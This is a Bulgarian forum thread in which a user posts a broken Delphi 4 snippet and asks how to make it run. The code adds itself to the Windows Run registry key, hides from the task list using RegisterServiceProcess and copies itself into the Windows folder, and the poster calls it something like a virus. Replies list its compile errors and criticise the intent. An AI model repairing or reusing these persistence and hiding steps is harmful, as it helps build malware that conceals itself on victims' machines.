Borland Delphi 4

A we hora hora tfa tuka zan4i prafq edi ne6ta na Borland Delphi 4 i kato gi run ne 6tat da ba4kat
unit crash;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls;

type
TForm1 = class(TForm)
Label1: TLabel;
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
begin

end;

end.
procedure WriteToReg;
var TReg:TRegistry;
begin
TReg:=TRegistry.Create;
TReg.RootKey:=HKEY_LOCAL_MACHINE;
TReg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',False);
if TReg.ValueExists('Crash1.exe') = False then
TReg.WriteString('crash1.exe',GetMyWinDir+'crash1.exe');
end
function GetMyWinDir:string;
var buf:string;
lng:integer;
begin
SetLength(buf,255);
lng:=GetWindowsDirectory(PChar(buf),255);
Result:=Copy(buf,1,lng);
if Copy(Result,lng,1)<>'\' then
Result:=Concat(Result,'\');
end;
function RegisterServiceProcess (dwProcessID, dwType: DWord) : DWord;
stdcall; external 'KERNEL32.DLL'
RegisterServiceProcess(GetCurrentProcessID,1)
CopyFile(PChar(Crash1.exe),PChar(ConCat(GetMyWinDir,'crash1.exe')), False);
kak da nakaram tofa da ba4ka

Първо - има отделен клуб за делфи.
Второ - не обичам да чета нещо, което не е на кирилица.
Трето - кода няма да се изпълни защото:
1) Написан е след крайния end. на unit-а. Компилатора просто
ще го игнорира (и ще ти издаде подсказка (hint))
2) Никъде не се викат тези функции
3) За да работиш с регистъра ти трябва: uses Registry
4) Тези функции не можеш да ги викаш и от други модули,
защото не са описани в интерфейсната част на модула
5) Плюс още няколко други грешки (например къде
освобождаваш TReg)

И четвърто (не се обиждай), ако искаш наистина
да правиш нещо с делфи, то научи object
pascal (делфи не е само щракане с мишката)
и прави нещо смислено (защото кода ти ми
прилича на опит да правиш нещо като
"недобросъвестна" програма)

А ле Емиле аз от един два месеца програмиеам на делфил аз иначе сам програмист на c++,html,masm,И прав си програматаправи лоши нища
Тази прграма е нещо като вирус

Аааа ней тъй - при добро желание 0 DLL ще му трябват. Па и кода ще е около 200К...

Ама като се завира на тия места дето се завира, само малоумник няма да го усети.

Аве като гледам uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls; и var Form1: TForm1; - към 350-400 к отива :))

-------------
Искам да знам какво мисли Бог - останалото са подробности. (Einstein)

тва 4-ката или по-ново? Па и неговия 'вирус' сигурно няма да има УИ :-))) Въпреки че, що не

Suuuuper! Samo edna malka zabelejka - "Delphi programistite" ne sa li "programisti" ? ;)

Mи за 4ка не помня, ама за 6-7 към толкова излиза. Пък то и да няма функционален УИ формата си е декларирана (и евентуално си се създава в проекта) ... аве то това нещо дори и не става за коментиране. То е нек'кав ужасТ ;))

-------------
Искам да знам какво мисли Бог - останалото са подробности. (Einstein)